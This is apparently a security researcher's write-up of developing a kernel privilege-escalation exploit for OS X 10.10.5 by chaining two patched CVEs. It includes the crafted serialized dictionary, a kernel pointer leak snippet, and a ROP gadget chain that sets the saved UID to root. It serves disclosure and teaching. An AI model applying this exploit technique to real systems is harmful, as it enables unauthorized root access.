Among the bugs that Apple patched in OS X 10.11.5 is CVE-2016-1828, a use-after-free I discovered late last year while looking through the kernel source. Combined with CVE-2016-1758, an information leak patched in 10.11.4, this vulnerability can be used to execute arbitrary code in the kernel. In this post I’ll document how I created rootsh, a local privilege escalation for OS X 10.10.5 (14F27).

CVE-2016-1828 is a use-after-free in the function OSUnserializeBinary. By passing a crafted binary blob to this function, it is possible to invoke a virtual method on an object with a controlled vtable pointer. I leveraged the use-after-free to create a NULL pointer dereference, allowing the vtable and the ROP stack to live in user space.

CVE-2016-1758 is a kernel stack disclosure in the function if_clone_list. 8 bytes of uninitialized kernel stack are copied to user space. Those bytes can be initialized to a known location within the kernel text segment by invoking a system call prior to triggering the disclosure. After leaking the text segment pointer, the kernel slide can be computed by subtracting the base address of that particular text segment location from the leaked address.

I made several simplifying assumptions while developing rootsh. First, rootsh relies on SMAP being disabled, which means the exploit would have to be redesigned to work on newer (Broadwell and later) Macs. Second, I targeted the ROP gadgets at 10.10.5, since this was my initial development platform. Between 10.10.5 and 10.11 these ROP gadgets disappeared, so as written rootsh will fail on all versions of El Capitan. The exploit could be rewritten to work on El Capitan up through 10.11.3, but I chose not to. If you want to try rootsh on your own, you can set up a virtual machine running

Table of Contents

Overview of the OS X Kernel

Before describing the exploit process, we’ll briefly look at the various pieces of the OS X kernel. The kernel, known as XNU, is composed of three major subsystems:

  • BSD: The BSD portion of the kernel implements most of the system calls, networking, and filesystem functionality. Much of this code is taken directly from FreeBSD 5.

  • Mach: The Mach part of the kernel is derived from the Mach 3.0 microkernel developed at Carnegie Mellon University. It implements fundamental services like memory maps and IPC primitives. User space programs access Mach services via Mach traps.

  • IOKit: IOKit is Apple’s framework for writing drivers for XNU. It is written in C++. Many C++ features (notably exceptions, multiple inheritance, and RTTI) are too complicated or inefficient to include in the kernel, so Apple provides its own runtime system called libkern.


When a user application communicates with a kernel driver, it often wants to pass structured data objects like strings, arrays, and dictionaries. Libkern makes this easy by defining container and collection classes that correspond to the CoreFoundation objects users pass to the user space APIs. These classes, which all inherit from OSObject, are outlined in the table below.

XML tag CoreFoundation class Libkern class Contents
true or false CFBoolean OSBoolean Boolean true or false
data CFData OSData Array of bytes
integer CFNumber OSNumber Integer value
string CFString OSString Array of characters
    OSSymbol Reference to unique string
array CFArray OSArray Array of objects
dict CFDictionary OSDictionary Map of strings to objects
set CFSet OSSet Set of unique objects

When a CoreFoundation object is to be sent to the kernel, it is first converted into a binary or XML representation by IOCFSerialize. The serialized data is then copied into the kernel and deserialized using OSUnserializeXML. OSUnserializeXML will call OSUnserializeBinary if the supplied data is actually a binary encoding.

The OSUnserializeBinary function attempts to decode the supplied data and reconstruct the original object. Often the deserialized object is a container such as OSDictionary containing several entries. In order to minimize the size of the encoding when the same object is included in a collection several times, the binary encoding format supports referencing previously serialized objects by index. Thus, the decoding logic stores each reconstructed object in an array so that it may be referenced by index later.

Presumably for efficiency reasons, this array is not an automatically managed collection like OSArray. Instead, OSUnserializeBinary manually manages a dynamically allocated array of OSObject pointers. After each new object is deserialized, it is appended to the end of the objsArray array without incrementing its reference count. This should be safe since each generated object is stored in its parent: the parent increments the entry’s reference count to keep it alive.

When an entry is referenced by index during deserialization, the object pointer is looked up in objsArray, stored in the local variable o, and retained:

case kOSSerializeObject:
    if (len >= objsIdx) break;
    o = objsArray[len];
    isRef = true;

The entry o is then released once it has been inserted into the parent collection:

if (o != dict) ok = dict->setObject(sym, o);
sym = 0;

Use After Free

Unfortunately, this strategy does not ensure safety, since it is possible for an object in objsArray to be freed during deserialization, leaving a dangling pointer.

In a serialized dictionary, it is possible for the same key to be assigned a value multiple times. Consider passing the following dictionary to OSUnserializeBinary, presented in XML for readability:

<dict>                          <!--  object 0  -->
    <key>a</key>                <!--  object 1  -->
    <string>foo</string>        <!--  object 2  -->
    <key>a</key>                <!--  object 3  -->
    <string>bar</string>        <!--  object 4  -->
    <key>b</key>                <!--  object 5  -->
    <object>2</object>          <!--  object 6  -->

When the second assignment to a is deserialized, the string bar will be inserted into the dictionary via setObject. Since the old foo string associated with a is being replaced by bar, the dictionary will release a reference on it. foo wasn’t retained when inserted into objsArray, so the only reference on foo is from the dictionary itself; since no one else has a retain on foo, it is freed. This leaves a dangling pointer to foo in objsArray[2]. When the object at index 2 is later referenced, retain will be called on the freed foo object.

In order to exploit this bug we need to control the contents of the freed memory, causing the call to retain to use a vtable pointer we control. Fortunately, we can easily control the allocation and freeing of objects by specifying elements in the dictionary being deserialized. We can also cause a block of memory to be allocated and filled with data we control by including OSData objects in the dictionary.

If we are going to control the vtable pointer of an object, we need to ensure that the freed object’s memory is used to allocate the OSData object’s data buffer, and not the OSData object itself. However, the OSData object is allocated before its data buffer, so we will create two freed objects: the first will be reallocated for the OSData container and the second will contain our fake vtable pointer.

<dict>                              <!--   0: dict                                    -->
    <key>a</key>                    <!--   1: key "a"                                 -->
    <integer>10</integer>           <!--   2: allocate block1                         -->
    <key>b</key>                    <!--   3: key "b"                                 -->
    <integer>20</integer>           <!--   4: allocate block2                         -->
    <key>a</key>                    <!--   5: key "a"                                 -->
    <true/>                         <!--   6: free block1; free list: block1          -->
    <key>b</key>                    <!--   7: key "b"                                 -->
    <true/>                         <!--   8: free block2; free list: block2, block1  -->
    <key>a</key>                    <!--   9: key "a"                                 -->
    <data> vtable pointer </data>   <!--  10: OSData gets block2, data gets block1    -->
    <key>b</key>                    <!--  11: key "b"                                 -->
    <object>2</object>              <!--  12: block1->retain()                        -->

More specifically, we will use a dictionary with two keys, a and b, that we shall repeatedly assign. First we will associate a and b with OSNumbers, since on 64-bit OS X they are close enough in size to OSData to share a free list. We then assign a and b to true, which causes the dictionary to release the OSNumbers, freeing them.2 At this point the heap free list contains b’s OSNumber at the head and a’s OSNumber right behind it. By inserting an OSData object in the dictionary we can cause the OSData container to use b’s OSNumber and the OSData’s data buffer to use a’s OSNumber. Referencing a’s original OSNumber by index will cause retain to be called on the dead OSNumber object whose vtable we overwrote, giving us code execution.

Error: Failed to load SVG
What happens in memory while parsing the malicious dictionary. Click to start the animation.

We can disassemble the area around the exploitable call to retain using lldb to find the layout of the vtable:

ffffff800088016a        cmp    eax, 0xc000000                   ;; case kOSSerializeObject
ffffff800088016f        jne    0xffffff8000880819
ffffff8000880175        mov    qword ptr [rbp - 0x40], rdi
ffffff8000880179        mov    rax, qword ptr [rbp - 0x58]
ffffff800088017d        cmp    r12d, eax                        ;;   if (len >= objsIdx) break;
ffffff8000880180        jae    0xffffff8000880819
ffffff8000880186        mov    dword ptr [rbp - 0x4c], edx
ffffff8000880189        mov    eax, r12d
ffffff800088018c        mov    rcx, qword ptr [rbp - 0x60]
ffffff8000880190        mov    r14, qword ptr [rcx + 8*rax]     ;;   o = objsArray[len]
ffffff8000880194        mov    rax, qword ptr [r14]
ffffff8000880197        mov    rdi, r14
ffffff800088019a        call   qword ptr [rax + 0x20]           ;;   o->retain()

At address 194 the first 8 bytes of o (pointed to by r14) are read into the rax register. This is the vtable pointer, which we control because we overwrote the old OSNumber object with the contents of the data buffer. Later at 19a the function pointer at address rax + 0x20 is called. This means rip will be set to the vtable entry at index 4 while rax points to the start of the vtable.

Before we move on, it’s important to realize that this exploit will never be fully reliable. Due to the nature of use-after-free errors, there’s a window between when the memory is freed and when it is reallocated and filled with the fake vtable pointer during which another kernel thread could allocate or free memory. Losing the race means calling retain on a random vtable, which will probably panic the kernel. The best we can do is develop the exploit and hope that reliability is not too bad.


In order to make exploiting this type of bug more difficult, recent versions of OS X ship with two protection mechanisms, known as Supervisor Mode Execution Prevention (SMEP) and Supervisor Mode Access Prevention (SMAP).

SMEP causes the CPU to generate a page fault whenever the kernel tries to execute code in user space memory. A SMEP fault will trigger a kernel panic, bringing down the system. To avoid this, the exploit code cannot reside in user space; once we control the kernel instruction pointer, it must point to valid kernel memory.

We can get around this restriction by executing a ROP payload rather than shellcode. ROP, which stands for return-oriented programming, is a technique for chaining together segments of code that already exist in the target program to construct an exploit payload. Since rip will only ever point into the kernel, no SMEP fault will be generated. We will return to ROP later.

The other mechanism, SMAP, extends the protection offered by SMEP beyond just execution. When SMAP is enabled, any attempt by the kernel to access user space memory will trigger a page fault. (There are legitimate cases where the kernel needs to read user space memory, for example during system calls. Thus there are ways for the kernel to temporarily disable SMAP. However, we would already need to be executing arbitrary kernel code in order to do so, which makes this strategy useless for us.)

Bypassing SMAP is more difficult, since we would need to put both our fake vtable and our ROP stack at a known location in kernel memory. However, SMAP support was only added to Intel processors in Broadwell. In order to simplify the exploit, we will assume that the target is an older Mac without SMAP support. This allows us to place the fake vtable and ROP stack in user space. While the exploit could be made to work on SMAP-enabled CPUs, I didn’t have the patience while developing rootsh to do so.

In my testing, rootsh works on Broadwell processors when running under VirtualBox. Thus, even on newer systems with SMAP support, it should still be possible to run the exploit in a virtual machine.

Kernel ASLR

At this point we know how to control the kernel instruction pointer and we have a strategy for bypassing SMEP. However, we still need to find the locations of kernel functions we can use to elevate privileges. The OS X kernel binary lives at /System/Library/Kernels/kernel on the filesystem. Fortunately this is an unstripped Mach-O file, which means we can parse the symbol information embedded in the kernel image to find the base address of any kernel function by name.

However, the functions don’t actually reside at those addresses in the running kernel. For instance, the current_proc function, which returns the proc structure of the currently running process, is at address 0xffffff8000857180 in the kernel image, but on a live system it might actually be at address 0xffffff8018c57180. The difference of 0x0000000018400000 between these addresses is the kernel slide.

OS X uses kernel address space layout randomization (kASLR) to hide the exact location of the kernel at runtime. During boot, the kernel is loaded at one of 384 possible locations3 that are 2MB apart. To figure out where the kernel is we need an information leak.

Our goal is to find a way to sneak a pointer to some kernel memory location out to user space. If we can get a pointer to a known piece of kernel code, we can subtract its static address from its runtime address to recover the kernel slide.

One promising way to look for information leaks is to search the XNU source for calls to copyout. copyout is a kernel function that copies bytes from kernel space to user space. Often the data is copied out from the kernel stack, which presents an opportunity for an information leak if not all of the copied bytes have been initialized.


The code of the if_clone_list function is shown below:

static int
if_clone_list(int count, int *ret_total, user_addr_t dst)
    char outbuf[IFNAMSIZ];
    struct if_clone *ifc;
    int error = 0;

    *ret_total = if_cloners_count;
    if (dst == USER_ADDR_NULL) {
        /* Just asking how many there are. */
        return (0);

    if (count < 0)
        return (EINVAL);

    count = (if_cloners_count < count) ? if_cloners_count : count;

    for (ifc = LIST_FIRST(&if_cloners); ifc != NULL && count != 0;
         ifc = LIST_NEXT(ifc, ifc_list), count--, dst += IFNAMSIZ) {
        strlcpy(outbuf, ifc->ifc_name, IFNAMSIZ);
        error = copyout(outbuf, dst, IFNAMSIZ);
        if (error)

    return (error);

This function attempts to copy the names of network interface cloners to user space. For each interface, the outbuf buffer is filled with the interface name and then copied out to user space. When ifc_name is smaller than outbuf, strlcpy leaves the last few bytes of outbuf uninitialized. However, passing IFNAMSIZ to copyout makes it copy the full outbuf to user space, including the uninitialized bytes at the end.

IFNAMSIZ is #define’d to 16, which doesn’t leave much room for an 8-byte kernel pointer if the interface name is long. Fortunately, the first interface cloner is called “bridge”, leaving 9 uninitialized bytes in outbuf. Since this function can leak a full kernel pointer, we can probably recover the kernel slide.

By inspecting the code, we discover the following call graph for if_clone_list:


soo_ioctl itself is used in the declaration of the socketops structure:

const struct fileops socketops = {

This structure associates socket objects in the kernel with the implementations of common file operations like read, write, and ioctl. The call graph suggests it should be possible to reach if_clone_list by calling the ioctl system call on a socket. To determine which ioctl command to pass, we can look at the source of ifioctl:

ifioctl(struct socket *so, u_long cmd, caddr_t data, struct proc *p)
    switch (cmd) {
    case OSIOCGIFCONF32:            /* struct ifconf32 */
    case SIOCGIFCONF32:             /* struct ifconf32 */
    case SIOCGIFCONF64:             /* struct ifconf64 */
    case OSIOCGIFCONF64:            /* struct ifconf64 */
        error = ifioctl_ifconf(cmd, data);
        goto done;

    case SIOCIFGCLONERS32:          /* struct if_clonereq32 */
    case SIOCIFGCLONERS64:          /* struct if_clonereq64 */
        error = ifioctl_ifclone(cmd, data);
        goto done;

Here we see that the SIOCIFGCLONERS command should be used with an if_clonereq structure.

Given the above, it should be possible to leak parts of the kernel stack into user space with the following sequence of system calls:

int sockfd = socket(AF_INET, SOCK_STREAM, 0);
char buffer[IFNAMSIZ];
struct if_clonereq ifcr = {
    .ifcr_count  = 1,
    .ifcr_buffer = buffer,
int err = ioctl(sockfd, SIOCIFGCLONERS, &ifcr);
printf("0x%016llx\n", *(uint64_t *)(buffer + 8));

If you’re lucky, running the above code prints a pointer value like 0xffffff801873487f. The kernel slide is a multiple of 2 megabytes, so we know that the lower 21 bits of the pointer are correct. Examining the OS X 10.10.5 kernel with otool, we find that there is only one instruction in the entire kernel with a matching base address:

ffffff800033487f        mov    eax, r14d

Thus, we can subtract the reference address 0xffffff800033487f from the leaked pointer to recover the kernel slide.4

Just like with the use-after-free, this information leak is not fully reliable: we’re counting on a pointer written to the stack during a previous system call to still be there when we call ioctl. At any point in between, any kernel code that executes in the current process’s context could overwrite that pointer. In practice this information leak is reliable enough, and it can be improved by repeatedly leaking pointers and taking the majority value.

Elevating Privileges

Now that we have the kernel slide, we can calculate the address of any function in the kernel by adding the kernel slide to the base address of the function, which we can find in the kernel image. The next step is determining how to elevate privileges. To do this, we first look at how a process’s privilege information is stored in the kernel.

Each process on OS X has a corresponding proc structure, which stores the information the kernel needs to manage the process. A kernel thread can get a pointer to its proc struct by calling current_proc. The proc structure contains a number of pointers to substructures describing various attributes of the process. One such substructure is the ucred structure:

 * In-kernel credential structure.
 * Note that this structure should not be used outside the kernel, nor should
 * it or copies of it be exported outside.
struct ucred {
    TAILQ_ENTRY(ucred)    cr_link;  /* never modify this without KAUTH_CRED_HASH_LOCK */
    u_long    cr_ref;               /* reference count */

struct posix_cred {
     * The credential hash depends on everything from this point on
     * (see kauth_cred_get_hashkey)
    uid_t    cr_uid;                /* effective user id */
    uid_t    cr_ruid;               /* real user id */
    uid_t    cr_svuid;              /* saved user id */
    short    cr_ngroups;            /* number of groups in advisory list */
    gid_t    cr_groups[NGROUPS];    /* advisory group list */
    gid_t    cr_rgid;               /* real group id */
    gid_t    cr_svgid;              /* saved group id */
    uid_t    cr_gmuid;              /* UID for group membership purposes */
    int      cr_flags;              /* flags on credential */
} cr_posix;
    struct label    *cr_label;      /* MAC label */
     * NOTE: If anything else (besides the flags)
     * added after the label, you must change
     * kauth_cred_find().
    struct au_session cr_audit;     /* user auditing data */

The relevant fields are cr_uid, cr_ruid, and cr_svuid of the contained posix_cred struct. These values control the user ID, real user ID, and saved user ID of the process.

Although it’s tempting to directly set cr_uid and cr_ruid to 0 to become root, the ucred structure might be shared between multiple processes. If the ucred of the attacking process is shared, setting cr_uid and cr_ruid to 0 will magically elevate a whole bunch of processes to root, which can have unintended consequences. (I discovered this fact while running the exploit under tmux; the exploit succeeded but each new tmux window I opened would present a root shell. Less than ideal.)

The proper solution is to create a new ucred structure with elevated privileges for the current process. However, I just set cr_svuid to 0 instead. This sets the saved UID of the current process and any processes sharing its ucred to root. From user space, our process could then elevate privileges by calling seteuid(0) to set the effective UID to root as well. We haven’t eliminated the problem since any other process sharing the ucred could also seteuid to root. Nonetheless, this is much better than before: other processes aren’t automatically granted root powers, and it’s unlikely in practice that a normal process will suddenly try to seteuid to root.

Thus, once we control rip, we will get our proc struct by calling current_proc. We can then get a pointer to the ucred struct by calling proc_ucred and a pointer to the inner posix_cred struct by calling posix_cred_get on the ucred. Once we have a pointer to the posix_cred struct, we will need an instruction sequence to set cr_svuid to 0. Finally, we will need a way to gracefully return from kernel space.

Building the ROP Stack

At this point we’ll examine how to leverage control of rip to execute our payload. When we get control of rip we know that rax points to the start of the fake vtable. There is no single point in the kernel to which we can jump to execute the desired attack, so we will need to use our control of rax to guide control flow across multiple jumps.

A good general strategy at this point is to try to pivot the stack pointer so that it points to a fake stack that we control. If we jump to a short instruction sequence in the kernel that makes rsp point to our fake stack and then executes a ret instruction, rip will be set to the address at the top of our fake stack and the stack will be popped. If the new rip points to another short sequence of instructions followed by ret, then we can execute a few useful instructions and then jump to the new address at the top of the stack. Continuing in this way, we can chain a series of short instruction sequences together to build a full exploit. This technique is called return-oriented programming (ROP).

The first order of business in building a ROP payload is to find a useful stack pivot. There are several tools capable of finding ROP gadgets or even automatically building ROP payloads. I prefer building ROP payloads myself, so I used ROPgadget to find useful gadgets in the kernel.

Running ROPgadget on the 10.10.5 kernel image produces over 45,000 gadgets. There’s a very interesting gadget at address 0xffffff80007d5158:

ffffff80007d5158        xchg   eax, esp
ffffff80007d5159        pop    rsp
ffffff80007d515a        ret

This instruction sequence swaps the esp and eax registers, pops the top element of the new stack into rsp, and then jumps execution to the address at the top of the new new stack. rax points to the fake vtable, so the xchg instruction will set the low bits of rsp to the low bits of the address of the vtable. One nuance of the x86-64 instruction set is that the high bits of rsp will be cleared by the xchg because it’s operating on the 32-bit sub-registers. If the vtable resides below address 0x100000000, this xchg will set rsp to the vtable.

The subsequent pop rsp will move the very first element in our vtable into rsp. We can use this to make rsp point to the true ROP stack. The final ret will start executing the ROP payload.

The first element of the ROP stack can be the address of current_proc, which will set rax to the address of this process’s proc struct. In order to feed this result into proc_ucred we need the next gadget to move rax into rdi, as rdi is used to store the first argument of a function call. Looking through the list of ROP gadgets we find the following instruction sequence:

ffffff80004d49c4        xchg   rax, rdi
ffffff80004d49c6        ret

This gadget exchanges the contents of rax and rdi, effectively moving the returned value into rdi. We can then use the same approach to call proc_ucred and move its return value into rdi, and once again to call posix_cred_get, leaving the posix_cred struct in rdi.

Now we need to set the cr_svuid field in the posix_cred struct to 0. Conveniently, at address 0xffffff800041ab81 we find the sequence:

ffffff800041ab81        mov    dword ptr [rdi + 0x8], 0x0
ffffff800041ab88        ret

Jumping to this gadget will zero out the third 32-bit integer in the posix_cred struct, setting our saved UID to root.

Finally, we must safely stop executing the ROP payload. The simplest way to do this is to call thread_exception_return, which will immediately return execution to user space.

This leaves us with a vtable with slots 0 and 4 filled and an 8 element ROP stack.

Running the Payload

The last piece of the puzzle is figuring out how to trigger the use-after-free and get our payload to run. In fact it’s quite easy to call OSUnserializeBinary from user space: any function that passes a CoreFoundation object into the kernel must serialize and subsequently deserialize the object. We’ll use the IOServiceGetMatchingServices function from IOKit.

However, we can’t just give the attack dictionary to IOServiceGetMatchingServices because the matching dictionary is passed as a CFDictionary. No valid CFDictionary will ever serialize to our attack dictionary, so we need to call a lower-level function.

Looking at the source, we can see that IOServiceGetMatchingServices internally calls the io_service_get_matching_services_bin Mach trap to pass a binary-serialized dictionary to the kernel:

        mach_port_t     _masterPort,
        CFDictionaryRef matching,
        io_iterator_t * existing )
    kern_return_t       kr;
    CFDataRef           data;
    CFIndex             dataLen;
    mach_port_t         masterPort;
    data = IOCFSerialize(matching, gIOKitLibSerializeOptions);
    dataLen = CFDataGetLength(data);
    if (kIOCFSerializeToBinary & gIOKitLibSerializeOptions)
        if ((size_t) dataLen < sizeof(io_struct_inband_t))
            kr = io_service_get_matching_services_bin(masterPort,
                        (char *) CFDataGetBytePtr(data), dataLen, existing);
            ool = false;

The kernel entrypoint is the function is_io_service_get_matching_services_bin, which eventually calls OSUnserializeXML to deserialize the dictionary.

Thus, we can exploit the vulnerability from user space by allocating a page below 0x100000000 to store the fake vtable and ROP stack and then calling io_service_get_matching_services_bin with the malicious dictionary.

When I tested the exploit with this setup, I found that the system would occasionally panic trying to dereference a NULL pointer:

*** Panic Report ***
panic(cpu 0 caller 0xffffff8018816df2): Kernel trap at 0xffffff8018c8019a, type 14=page fault, registers:
CR0: 0x00000000c0010033, CR2: 0x0000000000000020, CR3: 0x0000000093386000, CR4: 0x0000000000040660
RAX: 0x0000000000000000, RBX: 0xffffff802042f8c0, RCX: 0xffffff80209c7200, RDX: 0x000000008c000002
RSP: 0xffffff8094723cd0, RBP: 0xffffff8094723db0, RSI: 0x0000000000000078, RDI: 0xffffff802042f7c0
R8:  0x0000000000000001, R9:  0xffffff802042fac0, R10: 0x0000000000000000, R11: 0x0000000000000040
R12: 0x0000000000000002, R13: 0xffffff802042fac0, R14: 0xffffff802042f7c0, R15: 0x0000000000000078
RFL: 0x0000000000010297, RIP: 0xffffff8018c8019a, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000000000020, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM

Backtrace (CPU 0), Frame : Return Address
0xffffff8094723980 : 0xffffff801872ad21 mach_kernel : _panic + 0xd1
0xffffff8094723a00 : 0xffffff8018816df2 mach_kernel : _kernel_trap + 0x8d2
0xffffff8094723bc0 : 0xffffff8018833ca3 mach_kernel : _return_from_trap + 0xe3
0xffffff8094723be0 : 0xffffff8018c8019a mach_kernel : __Z19OSUnserializeBinaryPKcmPP8OSString + 0x2ca
0xffffff8094723db0 : 0xffffff8018cfbd3e mach_kernel : _is_io_service_get_matching_services_bin + 0x2e
0xffffff8094723de0 : 0xffffff80187df5c8 mach_kernel : _iokit_server + 0x738
0xffffff8094723e10 : 0xffffff801872ef8c mach_kernel : _ipc_kobject_server + 0xfc
0xffffff8094723e40 : 0xffffff80187139f3 mach_kernel : _ipc_kmsg_send + 0x123
0xffffff8094723e90 : 0xffffff801872429d mach_kernel : _mach_msg_overwrite_trap + 0xcd
0xffffff8094723f10 : 0xffffff8018802115 mach_kernel : _mach_call_munger + 0x175
0xffffff8094723fb0 : 0xffffff8018834278 mach_kernel : _hndl_mach_scall + 0xd8

BSD process name corresponding to current thread: rootsh
Boot args: usb=0x800 keepsyms=1 -v -serial=0x1

Mac OS version:

Kernel version:
Darwin Kernel Version 14.5.0: Wed Jul 29 02:26:53 PDT 2015; root:xnu-2782.40.9~1/RELEASE_X86_64
Kernel UUID: 58F06365-45C7-3CA7-B80D-173AFD1A03C4
Kernel slide:     0x0000000018400000
Kernel text base: 0xffffff8018600000

The page fault occurred on (unslid) address 0xffffff800088019a, which is the instruction that invokes retain on the freed object. The vtable pointer is stored in rax just before this instruction. Looking at the panic log, it’s clear that the rax register somehow got set to 0 rather than the address of the vtable.

What’s likely going on is we’re occasionally losing the race to reallocate the freed memory. In between when we free the two OSNumbers and when we allocate the OSData object, there’s a window in which another kernel thread can either allocate or free memory and mess everything up. In practice it seems that the most common value of rax when we lose the race is 0. This indicates that a simple way to make the exploit more reliable is to allocate our fake vtable at address 0. To implement this hack we need to compile the exploit as 32-bit to enable legacy support for mapping the NULL page and we need to pass special linker flags so that the final Mach-O doesn’t have a __PAGEZERO segment. However, placing the payload on the NULL page gives the exploit a chance to succeed even when we lose the race.

The final exploit is reasonably reliable, triggering a panic twice in 3000 executions on an idle machine. Panics are significantly more likely when the system is under even slight load because the frequent allocations and frees are more likely to beat us in the race to reallocate the freed memory.


This wraps up our discussion. We’ve walked through the process of developing a full local privilege escalation exploit from two vulnerabilities, CVE-2016-1828 and CVE-2016-1758. The complete exploit code is available in my rootsh repository on GitHub.

I chose to target OS X 10.10.5 rather than 10.11.3 (the last release with both vulnerabilities) for a few reasons. First and foremost is that I was running 10.10.5 while I developed rootsh. However, even after updating I decided not to rewrite the exploit so that you can test it in a virtual machine. The App Store doesn’t keep the installers for old point releases: once 10.11.4 comes out, the 10.11.3 installer goes away, making it much more difficult to create a 10.11.3 virtual machine. By contrast, the Yosemite installer in the App Store shall forever remain at version 10.10.5, meaning anyone can come along at a later time and create a virtual installation. That being said, it shouldn’t be too difficult to rework this exploit for 10.11.3.

The actual path I took in developing this exploit wasn’t nearly as clean or guided as it’s presented here. There was a lot of trial and error and many, many hours debugging random kernel panics.


The rootsh code is released into the public domain. As a courtesy I ask that if you use any of my code in another project you attribute it to me.


  1. Apple has since released Security Update 2016-002 for Yosemite, which bumped the build number up to 14F1713. Just like El Capitan, this new build is missing the ROP gadgets used by rootsh. At the time of this writing, however, the App Store is still distributing version 14F27, which is vulnerable to rootsh without modification.

  2. The freed OSNumber associated with a is not used to fulfill the allocation of b’s OSBoolean because OSBooleans are never allocated: there are only two distinct values, and all references to them are shared.

  3. Numerous sources online suggest that the kernel is loaded into one of 256 possible locations. However, empirical testing on a 2011 Macbook Pro running OS X Yosemite 10.10.5 suggests that, at least on some systems and in some configurations, there may be closer to 384 possible locations.

  4. This hardcoded reference address only works on 10.10.5 build 14F27; in order to find the kernel slide on another version of OS X we would need a new reference pointer, which might not even be in the same function.